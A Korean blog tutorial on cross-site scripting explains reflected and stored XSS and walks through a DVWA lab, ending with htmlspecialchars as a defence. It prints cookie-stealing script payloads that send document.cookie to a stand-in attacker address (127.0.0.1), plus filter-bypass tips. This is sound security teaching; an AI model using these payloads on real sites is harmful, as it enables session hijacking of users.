본문 바로가기
인터넷 보안/실습

[인터넷 보안] XSS

by 볼링치는 개발자 2021. 6. 12.
반응형

XSS란?

XSS란 Cross site scripting의 약자로 인터넷 공격의 한 종류입니다.

Cross site scripting이라면 css가 되지 않겠나 싶은데 css은 이미 html/css에서 사용하고 있어서 xss라고 불립니다.

 

XSS는 자바스크립트와 밀접한 연관이 있습니다.

XSS는 취약한 웹 페이지에 자바스크립트를 전송해 클라이언트 쪽 웹에서 실행하고 원하는 데이터를 빼오거나, 악성 파일을 보내는 동작을 합니다.

 

XSS에는 크게 2가지 공격이 있습니다.

  1. Reflected XSS - 특정판 피해자를 대상으로 공격, 웹 서버에 스크립트 남기지 않음
  2. Stored XSS - 다수, 임의의 대상을 공격, 웹 서버에서 스크립트 남김

Reflected XSS

Reflected XSS는 다음과 같은 과정을 통해 공격합니다.

  1. 공격자가 사용자에게 악성 링크가 담긴 피싱 이메일을 전송합니다.
  2. 사용자는 악성 링크를 클릭하며 공격자가 작성한 스크립트 코드가 삽입된 요청을 전송합니다.
  3. 서버는 해당 스크립트 코드를 사용자에게 다시 되돌려줍니다.
  4. 사용자 PC에서 스크립트가 실행되면서 공격자에게 정보를 전송합니다.
  5. 공격자는 사용자의 정보를 받게 됩니다.

Stored XSS

Stored XSS는 다음과 같은 과정을 통해 공격합니다.

  1. 공격자가 방명록 같은 곳에 스크립트를 삽입해 놓습니다.
  2. 일반 사용자가 아무것도 모르고 방명록을 조회합니다.
  3. 해당 스크립트 코드가 그 사용자 PC에서 실행됩니다.
  4. 사용자 PC에서 스크립트가 실행되면서 공격자에게 정보를 전송합니다.
  5. 공격자는 사용자의 정보를 받게 됩니다.

실습

Reflected XSS

Reflected XSS부터 실습을 진행해 보겠습니다.

DVWA에 "XSS (Reflected)" 메뉴로 이동합니다.

입력 창에 다음과 같이 입력하고 submit을 눌러봅니다.

<script> alert(1) </script>

그럼 다음과 같이 1이라는 alert가 출력되는 것을 볼 수 있습니다.

이런 사이트가 XSS 공격에 취약한 사이트입니다.

 

다음과 같이 입력하고 submit을 해보겠습니다.

<script> alert(document.cookie) </script>

그럼 다음과 같이 세션과 쿠키에 대한 정보를 확인할 수 있습니다.

 

터미널에서 다음과 같은 명령어를 통해 웹서버의 로그를 출력해봅니다

tail -f /opt/lampp/logs/access log

그리고 DVWA입력창에서 다음과 같은 스크립트를 적고 submit을 눌러봅니다.

<script> document.location='http://127.0.0.1/cookie?'+document.cookie </script>

여기서 127.0.0.1은 공격자의 사이트라고 가정합니다.

이 스크립트를 실행하면 쿠키 정보를 해커 측으로 전송하게 됩니다.

submit을 누르면 다음과 같은 결과를 볼 수 있습니다.

공격자가 터미널 창에 띄어놓은 log에서 쿠키를 확인할 수 있었습니다.

 

이렇게 입력창에 스크립트를 직접 작성하는 사용자는 없을 것입니다.

 

다음과 같이 피싱 메일을 만들어봅시다.

해당 링크를 클릭하면 로그에 다음과 같이 쿠키를 조회할 수 있습니다.

Stored XSS

이번에는 Stored XSS 공격을 실습해 모겠습니다

DVWA에 "XSS (Stored)" 메뉴로 이동합니다.

다음과 같이 방명록을 남겨둡니다.

방명록의 글자 제한이 50으로 걸려있는데, 오른쪽 클릭 후 Inspect Element를 통해 maxlength 속성을 500으로 늘려주고, 다음과 같은 스크립트 코드를 작성한 후 방명록을 남깁니다.

<script>document.locaiton='http://127.0.0.1/cookie?'+document.cookie</script>

그럼 DVWA메뉴에서 XSS (stored) 메뉴를 눌러 접속할 때마다 공격자 컴퓨터인 터미널 창으로 쿠키 정보가 전송되는 것을 볼 수 있습니다.

공격자는 한 번의 공격으로 다수의 사용자에게 공격할 수 있습니다.

 

DVWA Medium단계

DVWA의 미디엄 단계에서 XSS를 보면, 입력된 스크립트에서 <script> 태그를 찾아서 제거하는 것을 확인할 수 있습니다.

하지만 이는 <SCRIPT>와 같은 대문자 태그를 검사하지 않으니 다음과 같이 스크립트를 작성하면 정상적으로 공격할 수 있습니다.


대응 방법

XSS 공격을 성공적으로 하기 위해 <script> 태그를 사용하는데, 여기서 사용되는 <> 같은 특수문자를 막으면 가능합니다.

htmlspecialchars라는 함수는 <&lt; 로 변경해 웹 페이지에서 출력은 특수문자로 하지만, 스크립트 측에서는 특수문자 역할을 못하게 합니다.

이렇게 XSS 공격을 막을 수 있습니다.

반응형

댓글